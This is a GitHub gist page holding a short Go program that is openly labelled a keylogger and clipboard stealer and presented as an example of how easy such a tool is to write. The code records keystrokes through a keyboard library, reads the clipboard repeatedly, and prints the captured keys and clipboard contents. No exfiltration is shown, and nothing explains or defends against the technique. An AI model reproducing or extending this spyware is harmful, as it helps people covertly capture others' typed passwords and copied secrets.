Skip to content

Instantly share code, notes, and snippets.

@alwashali
Created March 19, 2024 19:33
Show Gist options
  • Save alwashali/cc92ed3f8d1c450ac6d7544b29cb701d to your computer and use it in GitHub Desktop.
Save alwashali/cc92ed3f8d1c450ac6d7544b29cb701d to your computer and use it in GitHub Desktop.
keylogger and clipboard stealer
// Example of how easy to develop keylogger in golang
package main
import (
"fmt"
"github.com/atotto/clipboard"
"github.com/cloudflare/cfssl/log"
"github.com/eiannone/keyboard"
)
func main() {
keysEvents, err := keyboard.GetKeys(10)
if err != nil {
panic(err)
}
defer func() {
_ = keyboard.Close()
}()
keys := []string{}
for {
event := <-keysEvents
if event.Err != nil {
panic(event.Err)
}
keys = append(keys, string(event.Rune))
if event.Key == keyboard.KeyEsc {
break
}
clipboardContent, err := clipboard.ReadAll()
if err != nil {
log.Error(err)
}
if len(keys) > 10 {
fmt.Println("keys:")
for _, key := range keys {
fmt.Print(key)
}
keys = nil
fmt.Printf("\ncliboard:\n")
if len(clipboardContent) > 0 && err == nil {
fmt.Println("Clibaord content", clipboardContent)
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment